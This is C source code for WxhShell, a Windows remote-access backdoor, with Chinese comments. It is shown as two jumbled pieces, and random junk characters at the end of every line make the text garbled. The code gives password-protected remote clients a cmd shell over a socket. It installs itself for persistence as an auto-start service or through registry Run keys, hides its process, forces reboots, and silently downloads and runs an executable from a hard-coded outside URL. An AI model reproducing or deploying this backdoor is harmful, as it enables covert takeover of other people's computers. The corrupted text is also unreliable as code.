    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SRRqIQz  
    else { !NuiVC]  
    closesocket(wsh); .-awl1 W  
    ExitThread(0); AVF(YD<U  
    } W_Z%CBjcT  
    break; J NPEyC  
    } .hzzoLI2  
  // 获取shell zn@<>o8hU  
  case 's': { X3-pj<JLY  
    CmdShell(wsh); LPc)-t|p"  
    closesocket(wsh); @!"w.@ Y  
    ExitThread(0); .D!0$W mOZ  
    break; iqreIMWz  
  } | (JxtQqQg  
  // 退出 =8?y$WE  
  case 'x': { ?\"GT]5D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V|gW%Z,j  
    CloseIt(wsh); >B!E 6ah  
    break; @n"7L2wY  
    } m9o{y6_j*  
  // 离开 %JF^@\E!|  
  case 'q': { p.A_,iE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UyTsUkY  
    closesocket(wsh); ,&e0~  
    WSACleanup(); w9< <|ZaU  
    exit(1); xQ+UZc  
    break; ;|}N\[fk%]  
        } K!Te*?b  
  } 2Tec#eYe  
  } SR!EQ<  
_2xNio&  
  // 提示信息 LmWZ43Z"@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kkcb' aDR  
} BZ* ',\o  
  } 2FU+o\1 %  
1LYz X;H1  
  return; Y3=5J\d!a  
} n("Xa#mY[  
Iv+JEuIi  
// shell模块句柄 ,h,OUo]LIY  
int CmdShell(SOCKET sock) iO 9.SF0:  
{ c!*yxzs\  
STARTUPINFO si; }Z#KPI8\Q  
ZeroMemory(&si,sizeof(si)); 1y'8bt~7Pf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C~-x637/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kl%%b"h'  
PROCESS_INFORMATION ProcessInfo; M15Ce)oB1(  
char cmdline[]="cmd"; d9e_slx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kh&W\\K  
  return 0; 'K&^y%~py,  
} 7^)8DwAl  
#{K}o}  
// 自身启动模式 0)F.Y,L  
int StartFromService(void) '5V} Z3zJ/  
{ ?1w{lz(P  
typedef struct .j^tFvN~L  
{ iZY4+ X  
  DWORD ExitStatus; i<@"+~n~GK  
  DWORD PebBaseAddress; X .,Lmh  
  DWORD AffinityMask; W>TG!R 5  
  DWORD BasePriority; 5|O~  
  ULONG UniqueProcessId; ~wYGTm=(n  
  ULONG InheritedFromUniqueProcessId; |?v(?  
}   PROCESS_BASIC_INFORMATION; !z? &  
Voy1  
PROCNTQSIP NtQueryInformationProcess; xB-\yWDZe  
Q\Wh]=}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mxD]`F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2iM]t&^<+  
K|L&mL&8  
  HANDLE             hProcess; vT@*o=I  
  PROCESS_BASIC_INFORMATION pbi; idsBw!DB  
)|3BS`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B|d-3\sn  
  if(NULL == hInst ) return 0; Y*VF1M,2_  
3bYP i^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &s6;2G&L$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]gjQy.c|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d ~#B,+  
43wm_4C!H  
  if (!NtQueryInformationProcess) return 0; ]#k=VKdV  
TrCut 2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n8 UG{. =  
  if(!hProcess) return 0; Lb]!TOl  
)7]la/0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E'-lpE  
j<NZ4Rf  
  CloseHandle(hProcess); 0JT"Pv_  
\k4tYL5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JuW"4R  
if(hProcess==NULL) return 0; Gh%R4)}  
tTEw"DL_-  
HMODULE hMod; =csh=V@s  
char procName[255]; 90wGS_P04  
unsigned long cbNeeded; *^y,Gg/  
K g6hySb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Ve`j,`=<  
hGU  m7  
  CloseHandle(hProcess); *kY JwO^  
1;v,rs M  
if(strstr(procName,"services")) return 1; // 以服务启动 L|hELWru  
F8H4R7 8>;  
  return 0; // 注册表启动 8:t!m>(*  
} G&Fe2&5!w  
rU4;yy*b  
// 主模块 NF "|*S  
int StartWxhshell(LPSTR lpCmdLine) &?[g8A  
{ #| pn,/  
  SOCKET wsl; ^>wlj  
BOOL val=TRUE; &x?m5%^l  
  int port=0; _D 9/,n$  
  struct sockaddr_in door; p40;@gUug  
*@I/TX'\rY  
  if(wscfg.ws_autoins) Install(); >:Y"DX-  
Q~R%|Q{&  
port=atoi(lpCmdLine); tm1#Lh0  
|)VNf .aJZ  
if(port<=0) port=wscfg.ws_port; B>}B{qi|  
XX7zm_>+  
  WSADATA data; C'~E q3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {x,d9I  
d\ I6Wn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~xLo0EV "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oRo[WQla  
  door.sin_family = AF_INET; ~4+ICCbH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mzRH:HgN?  
  door.sin_port = htons(port); 63E)RR_Lh  
2c*w{\X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { / Q| Z&-c  
closesocket(wsl); Pm7lP5  
return 1; /IQ$[WR cx  
} |&"/u7^  
Wr3z%1  
  if(listen(wsl,2) == INVALID_SOCKET) { P b-4$n2c  
closesocket(wsl); `pb=y}  
return 1; D\^mh{q(  
} `]`S"W7&  
  Wxhshell(wsl); *Sg6VGP  
  WSACleanup(); ){LU>MW{&  
HvR5-?qQ  
return 0; XuoyB{U  
;V?3Hwl  
} 2FN E ;y(  
Cxd^i  
// 以NT服务方式启动 h ,\5C/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aX,6y1  
{ KV8Ok  
DWORD   status = 0; w5 #;Lm  
  DWORD   specificError = 0xfffffff; NR,R.N^[  
:d6]rOpX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {%_D> y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W|Cs{rBc?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 99\lZ{f(  
  serviceStatus.dwWin32ExitCode     = 0; ov<vSc<u  
  serviceStatus.dwServiceSpecificExitCode = 0; O7]kcA  
  serviceStatus.dwCheckPoint       = 0; @Q7^caG  
  serviceStatus.dwWaitHint       = 0; T[evh]koB  
H|S hi/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2:@,~{`#*  
  if (hServiceStatusHandle==0) return; 3*T/ 7\  
C|V5@O?;&  
status = GetLastError(); g"~`\ xhx  
  if (status!=NO_ERROR) EQe$~}[  
{ ;}lsD1S:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J%]5C}v \  
    serviceStatus.dwCheckPoint       = 0; )<%CI#s#  
    serviceStatus.dwWaitHint       = 0; ^-L nO%h?  
    serviceStatus.dwWin32ExitCode     = status; YSzC's[  
    serviceStatus.dwServiceSpecificExitCode = specificError; rB-R(2 CCN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1}r%!jk/  
    return; @QMU$]&i]  
  } 8=@f lK  
~g9~D}48k'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4k9$' k  
  serviceStatus.dwCheckPoint       = 0; d/3bE*gr  
  serviceStatus.dwWaitHint       = 0; n/Dg)n?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e,xJ%f  
} i[4!% FxB  
{Hie% 2V  
// 处理NT服务事件,比如:启动、停止 r $[{sW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iGSF5S  
{ VnqcpJ  
switch(fdwControl) ?E,-P!&R  
{ 9K;g\? 3  
case SERVICE_CONTROL_STOP: M6ZXq6J  
  serviceStatus.dwWin32ExitCode = 0; >;]S+^dXY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !3<b#QAXRG  
  serviceStatus.dwCheckPoint   = 0; p1[|5r5Day  
  serviceStatus.dwWaitHint     = 0; !<HF764@`  
  { k0&FUO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Jky,YLcb  
  }  '[HBKn$`  
  return; ~# \{'<  
case SERVICE_CONTROL_PAUSE: l9]nrT1Hy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V$w bmz  
  break; +xAD;A4  
case SERVICE_CONTROL_CONTINUE: -'}#j\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _>a`dp.19  
  break; 1h|qxYO  
case SERVICE_CONTROL_INTERROGATE: Pc`)D:/}R  
  break; ~]24">VZf  
}; \irKM8]LJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gil:SUW1r  
} mE;^B%v  
!u:Fn)j  
// 标准应用程序主函数 ?^J%S,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {H>Tv,v|  
{ o^/ fr&,9  
]yQqx*  
// 获取操作系统版本 tSY4'  
OsIsNt=GetOsVer(); A8QUfg@uK~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k.})3~F-  
O 3?^P"C  
  // 从命令行安装 Rqbz3h~  
  if(strpbrk(lpCmdLine,"iI")) Install(); *%\Xw*\0  
W6`_ lGTj  
  // 下载执行文件 mhM;`dl  
if(wscfg.ws_downexe) { Y O|hwhe_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R%~~'/2V  
  WinExec(wscfg.ws_filenam,SW_HIDE); #V)l>  
} W9{;HGWS  
-tx%#(?wH  
if(!OsIsNt) { [VLq/lg*  
// 如果时win9x,隐藏进程并且设置为注册表启动 I %sw(uoE  
HideProc(); fLeHn,*,"  
StartWxhshell(lpCmdLine); q,_E HPc  
} 9=FH2|Z  
else Q-A_8  
  if(StartFromService()) oKr= ]p  
  // 以服务方式启动 z8r?C  
  StartServiceCtrlDispatcher(DispatchTable); @My RcC  
else C8i4z  
  // 普通方式启动 \),zDO+  
  StartWxhshell(lpCmdLine); ,<C~DSAyZ  
[vz2< genn  
return 0; ?)[=>Kp  
} I. Xbowl  
C?MKb D=K  
zlB[Eg^X  
\acGSW .c  
=========================================== ny!80I  
8Ht=B,7T  
M04u>| ,  
IF@vl  
=*.S<Ko)  
/cVZ/"  
" 0C3Y =F  
Q<DXDvL  
#include <stdio.h> >s!k"s,  
#include <string.h> g~(G P  
#include <windows.h> asE.!g?  
#include <winsock2.h> e|>@ >F]K  
#include <winsvc.h> QxuU3#l  
#include <urlmon.h> 3g56[;Up?  
RH$l?j6  
#pragma comment (lib, "Ws2_32.lib") *v: .]_;  
#pragma comment (lib, "urlmon.lib") 6ZwQ/~7H  
8M,z#DF  
#define MAX_USER   100 // 最大客户端连接数 bSQj=|h1  
#define BUF_SOCK   200 // sock buffer DjiI*HLNR  
#define KEY_BUFF   255 // 输入 buffer ILiOEwHS7F  
>) Bv>HM  
#define REBOOT     0   // 重启 ]zj&U#{  
#define SHUTDOWN   1   // 关机 FW)~e*@8=  
KU Mk:5 c  
#define DEF_PORT   5000 // 监听端口 M$Rh]3vqR  
L^PBcfg  
#define REG_LEN     16   // 注册表键长度 eYn/F~5-  
#define SVC_LEN     80   // NT服务名长度 f+.sm  
>I0 a$w  
// 从dll定义API Jh36NE8r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }jP/XO1f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q'hs,t1<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UZ6y3%G3^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |9BX  ~`{  
c>T)Rc  
// wxhshell配置信息 "\]]?&  
struct WSCFG { 1.<gC  
  int ws_port;         // 监听端口 ;>fM?ae5  
  char ws_passstr[REG_LEN]; // 口令 biForT_no  
  int ws_autoins;       // 安装标记, 1=yes 0=no jK%Lewq  
  char ws_regname[REG_LEN]; // 注册表键名 (dx~lMI  
  char ws_svcname[REG_LEN]; // 服务名  @k#xr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T11>&K)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )4hA Fy6l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \/nSRAk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -G'3&L4 D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] r%fAm j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3qDbfO[  
L s3r( Tf  
}; &m]jYvRc  
Q4Qf/q;U  
// default Wxhshell configuration +D[C.is>]}  
struct WSCFG wscfg={DEF_PORT, 5`lVC$cP  
    "xuhuanlingzhe", 0zsmZ]b5E  
    1, O%aHQL%Sz  
    "Wxhshell", h2= wC.  
    "Wxhshell",  [@3.dd  
            "WxhShell Service", b`Jsu!?{  
    "Wrsky Windows CmdShell Service", W59xe&l  
    "Please Input Your Password: ", - (q7"h  
  1, et(AO)uv6  
  "http://www.wrsky.com/wxhshell.exe", E8wkqZN  
  "Wxhshell.exe" Po.by~|  
    }; >svx 8CT  
1zCgPiAem  
// 消息定义模块 CHjm7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,w=u?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vIZFI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -D1 A  
char *msg_ws_ext="\n\rExit."; JL<<EPC  
char *msg_ws_end="\n\rQuit."; F7]8*[u  
char *msg_ws_boot="\n\rReboot..."; 8%a ^j\L  
char *msg_ws_poff="\n\rShutdown..."; zyt >(A1  
char *msg_ws_down="\n\rSave to "; ?iamo.0zN  
7 <K=G2_:  
char *msg_ws_err="\n\rErr!"; 9%0^fhrJ  
char *msg_ws_ok="\n\rOK!"; KFaYn  
|@f\[v9`  
char ExeFile[MAX_PATH]; xJFcW+  
int nUser = 0; 1CJAFi>%D  
HANDLE handles[MAX_USER]; mgodvX  
int OsIsNt; x cZF_elt7  
,E@}=x9p  
SERVICE_STATUS       serviceStatus; N] pw7S%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5)0'$Xxqa0  
3a}c'$F>_'  
// 函数声明 !\OX}kHX5  
int Install(void); 0bSnD|#I  
int Uninstall(void); rd=+[:7L  
int DownloadFile(char *sURL, SOCKET wsh); Gq%,'am f  
int Boot(int flag); N0ef5J JM`  
void HideProc(void); :KGPQ@:O  
int GetOsVer(void); Bo'v!bI7  
int Wxhshell(SOCKET wsl); 5aXE^.`  
void TalkWithClient(void *cs); ~\<L74BB  
int CmdShell(SOCKET sock); ` 7?EE1o  
int StartFromService(void); Q~rE+?n9 F  
int StartWxhshell(LPSTR lpCmdLine); 41Ab,  
m6A\R KJ'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6 .[3N~pq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;hEeFJ=/G  
1F+JyZK}w  
// 数据结构和表定义 >9yy91H  
SERVICE_TABLE_ENTRY DispatchTable[] = glBS|b$\:  
{ R:f ,g2  
{wscfg.ws_svcname, NTServiceMain}, m9-=Y{&/  
{NULL, NULL} kP^=  
}; O3#eQs  
e5'U[ bQm  
// 自我安装 K `A8N  
int Install(void) X/m~^  
{ ^f,%dM=i=  
  char svExeFile[MAX_PATH]; Blj<|\ igc  
  HKEY key; 1xO-tIp/  
  strcpy(svExeFile,ExeFile); YlR9 1L X  
: JSuC  
// 如果是win9x系统,修改注册表设为自启动 kE[R9RS!  
if(!OsIsNt) { hZ "Sqm]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [h8macx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vY,D02 EMw  
  RegCloseKey(key); \]dvwN3x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z.s0ddM s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (CJx Y(1K  
  RegCloseKey(key); A5_r(Z-5  
  return 0; o*oFCR]j  
    } .kgt? r  
  } X!@ Y ,  
} "M^mJl&*b  
else { ySF^^X $J  
E Q:6R|L  
// 如果是NT以上系统,安装为系统服务 |=V~CQ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y'non0P.  
if (schSCManager!=0) >Pvz5Hf/wW  
{ ;krIuk-  
  SC_HANDLE schService = CreateService h R6Pj"@0  
  ( Ry?f; s  
  schSCManager, iqN?'8  
  wscfg.ws_svcname, ^ohIJcI-  
  wscfg.ws_svcdisp, ksUF(lYk  
  SERVICE_ALL_ACCESS, Q^* 3 3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .>LJ(Sx9b  
  SERVICE_AUTO_START, O]Y   z7  
  SERVICE_ERROR_NORMAL, \l`{u)V  
  svExeFile, bL+}n8B  
  NULL, Q\btl/?  
  NULL, Wr'1Y7z  
  NULL, tZu1jBO_Q4  
  NULL, ,R-aO= %  
  NULL P>03 DkbB  
  ); b # Llu$  
  if (schService!=0) Lg|d[*;'7  
  { /w2-Pgm-[\  
  CloseServiceHandle(schService); o8NRu7@?  
  CloseServiceHandle(schSCManager); 9n"MNedqH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jX^_(Kg  
  strcat(svExeFile,wscfg.ws_svcname); QbY@{"" `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !fjB oK+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q{yjIy/b  
  RegCloseKey(key); 91nw1c!  
  return 0; 9`M7 -{  
    } sa"}9IE*8  
  } :H+8E5  
  CloseServiceHandle(schSCManager); M Ih\z7gW  
} z<.?8bd  
} )lq+Gv[%F  
q1m{G1W n  
return 1; ^`Hb7A(  
} aK 3'u   
77ztDQDtM  
// 自我卸载 Ds#BfP7a  
int Uninstall(void) ,J:Ro N_:  
{ q>5j (,6F  
  HKEY key; p./0N.  
aK 7 }}  
if(!OsIsNt) { !%.=35NS@E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i6g=fx6j*  
  RegDeleteValue(key,wscfg.ws_regname); v-/vj/4>  
  RegCloseKey(key); e^$JGh2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15r=d  
  RegDeleteValue(key,wscfg.ws_regname); {w7/M]m-  
  RegCloseKey(key); ExeZj8U  
  return 0; E=`/}2  
  } c5: X$k\  
} Z[eWey_  
} 2( m#WK7>F  
else { qwO@>wQ}~  
N,3iSH=cN[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cv7:5P  
if (schSCManager!=0) fPPmUM^C9  
{ T''<yS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dP`B9>r  
  if (schService!=0) 5G$5d:[(  
  { 7!\zo mx  
  if(DeleteService(schService)!=0) { "M3;>"`G  
  CloseServiceHandle(schService); 5}c8v2R:B  
  CloseServiceHandle(schSCManager); "\ =Phqw   
  return 0; ^)(tO$S  
  } Qkhor-f0  
  CloseServiceHandle(schService); dC|6z/  
  } ww #kc!'  
  CloseServiceHandle(schSCManager); 8m=O408Q  
} b};o:  
} < fV][W  
.J O1kt  
return 1; 76KNgV)3  
} O;|Cu7WU  
{8oGWQgrj  
// 从指定url下载文件 5;,h8vW  
int DownloadFile(char *sURL, SOCKET wsh) P,9Pn)M|  
{ lW|v_oP9  
  HRESULT hr; 9y<h.T  
char seps[]= "/"; &;=/^~EG  
char *token; s~9n13z  
char *file; K1Uq` TJ  
char myURL[MAX_PATH]; VxuV`Plf  
char myFILE[MAX_PATH];  ?r@^9  
C+[)^ 2M{  
strcpy(myURL,sURL); \4^rb?B  
  token=strtok(myURL,seps); v"Ax'()  
  while(token!=NULL) y@<2`h  
  { Am_>x8z  
    file=token; $/B~bJC  
  token=strtok(NULL,seps); l;L_A@B<  
  } Pg{1'-  
.T3 m%n  
GetCurrentDirectory(MAX_PATH,myFILE); XM,slQ  
strcat(myFILE, "\\"); q b/}&J7+  
strcat(myFILE, file); aWJj@',_  
  send(wsh,myFILE,strlen(myFILE),0); p:z~>ca  
send(wsh,"...",3,0); i7e6lC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y#tur`N  
  if(hr==S_OK) y&-QLX L  
return 0; nosD1sS.K8  
else B4wRwrVI>  
return 1; [ ~2imS  
j49Uj}:j  
} $LFL4Q  
2J8:_Ql3I  
// 系统电源模块 u+KZ. n/  
int Boot(int flag) J9p4\=9  
{ H;l_;c`  
  HANDLE hToken; -Ou.C7ol  
  TOKEN_PRIVILEGES tkp; r$}C<a[U  
m!ueqV"  
  if(OsIsNt) { upL3M`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I "~.p='  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G3%Ju=  
    tkp.PrivilegeCount = 1; _]pu"hZz4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j7k}!j_O{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +a 1iZ bh  
if(flag==REBOOT) { 8.Y|I5l7G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aR/?YKA  
  return 0; \r[u>7I  
} IT&,?u%  
else { %S}uCqcAK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6/Xs}[iJ  
  return 0; ,3y9yJQa*#  
} ]L7A$sTUQ  
  } 2R.L LE  
  else { _Uq' N0U  
if(flag==REBOOT) { <.B+&3')  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $[n:IDa*@1  
  return 0; T?t/[iuHrj  
} .8Bo5)q$a-  
else { Zrr)<'!i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p2{7+m  
  return 0; MA6 Vy  
} \/o$io,kV  
} #c>GjUJ.w  
$t(v `,  
return 1; '.(Gg%*\.  
} o1x1SH  
,7]hjf_h  
// win9x进程隐藏模块 A>1$?A8Q  
void HideProc(void) O9(z"c  
{ I}3F'}JV<  
vjlN@ "  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^hmV?a:Y  
  if ( hKernel != NULL ) $2?AJ/2r$b  
  { 0!_?\)X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #e|o"R;/`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2 HEU  
    FreeLibrary(hKernel); dD=$$( je  
  } a3tcLd|7J  
89g a+#7  
return; JfIXv  
} ]HuB%G|t1V  
_9 ]:0bDUo  
// 获取操作系统版本 Y \-W`  
int GetOsVer(void) ~\jP+[>M'  
{ V0>X2&.A  
  OSVERSIONINFO winfo; Wye* ~t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]VRa4ZB{u  
  GetVersionEx(&winfo); Qs6Vu)U=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nc7"`!;-   
  return 1; |Ev|A9J!  
  else d8wVhZKI"  
  return 0; 7v ZD  
} ~Ld5WEp k3  
, ~O>8VbF  
// 客户端句柄模块 IMH4GVr"  
int Wxhshell(SOCKET wsl) $Es\ld  
{ fRQ,Z  
  SOCKET wsh; Z~~6y6p  
  struct sockaddr_in client; 3R+% C*7  
  DWORD myID; b0{i +R  
 ?<EzILM  
  while(nUser<MAX_USER) si]VM_w6  
{ Fo.Y6/}  
  int nSize=sizeof(client); %8FfP5#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =9GA LoGL  
  if(wsh==INVALID_SOCKET) return 1; Q&eyqk   
o utJ/~9;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?,>3uD#  
if(handles[nUser]==0) lFjz*g2'  
  closesocket(wsh); dFy$w=  
else s5nw<V9$]  
  nUser++; -3{Q`@F  
  } XB7Aa)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lFnls6dp  
b&:v6#i  
  return 0; _x,X0ncv]@  
} r exv)!J  
d_yvG.#C  
// 关闭 socket 5H0qMt P  
void CloseIt(SOCKET wsh) @:C)^f"  
{ :> 0ywg  
closesocket(wsh); pAE (i7  
nUser--; yV(#z2|  
ExitThread(0); 79v+ze  
} ,|:.0g[n  
qzUiBwUi@  
// 客户端请求句柄 y2jv84 M  
void TalkWithClient(void *cs) _O`p(6  
{ h0tiWHw  
R^l0Bu]X  
  SOCKET wsh=(SOCKET)cs;  '"B  
  char pwd[SVC_LEN]; MJXnAIG?2  
  char cmd[KEY_BUFF]; 6]brL.eGj  
char chr[1]; MXaF q K<Y  
int i,j; fEHFlgN3Ap  
,|A^ <R`  
  while (nUser < MAX_USER) { SGWb*grt  
]<;7ZNG"Y5  
if(wscfg.ws_passstr) { _z@/~M(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfV|c~?d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v-}f P  
  //ZeroMemory(pwd,KEY_BUFF); d@R7b^#g  
      i=0; E(~7NRRm  
  while(i<SVC_LEN) { 4&mY-N7A  
JbPkC*.  
  // 设置超时 dy&G~F28  
  fd_set FdRead; r1L@p[>  
  struct timeval TimeOut; gNB+e5[; 2  
  FD_ZERO(&FdRead); 8z`ZHn3=  
  FD_SET(wsh,&FdRead); qUJ"* )S  
  TimeOut.tv_sec=8; ;g0Q_F@;p  
  TimeOut.tv_usec=0; Q,3kaR@O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ WWhCRq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wQ+pVu?6_  
rl|'.~mc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?^Rp" H   
  pwd=chr[0]; e )0 ]WJ  
  if(chr[0]==0xd || chr[0]==0xa) { & FhJ%JK  
  pwd=0; t1w5U+z  
  break; zZCl]cql  
  } 1K Fd ~U  
  i++; wL0[Slf}  
    } {`!6w>w0  
\3JCFor/  
  // 如果是非法用户,关闭 socket 1 /M^7Vb.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tb i?AJa}  
} YV.' L  
*yhA8fJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1>Sfv|ZP,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )'+[,z ;s  
2;v:Z^&  
while(1) { xX<f4H\'  
"\o#YC  
  ZeroMemory(cmd,KEY_BUFF); w6vbYPCN  
KuJ)alD;1  
      // 自动支持客户端 telnet标准   }4C_r'd6  
  j=0;  S_P&Fv  
  while(j<KEY_BUFF) { <=.6Z*x+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <2pp6je\0s  
  cmd[j]=chr[0]; 6Z_V,LD9L  
  if(chr[0]==0xa || chr[0]==0xd) { a|t~&\@  
  cmd[j]=0;  /a1uG]Mt  
  break; w%])  
  } (<Cq_K w  
  j++; t\Vng0  
    } %~Yo{4mHs  
;Nn(  
  // 下载文件 v9f+ {Y%-  
  if(strstr(cmd,"http://")) { jEBn"]\D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oMbd1uus  
  if(DownloadFile(cmd,wsh)) :s *  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |5~Oh`w  
  else rI$NNk'A  
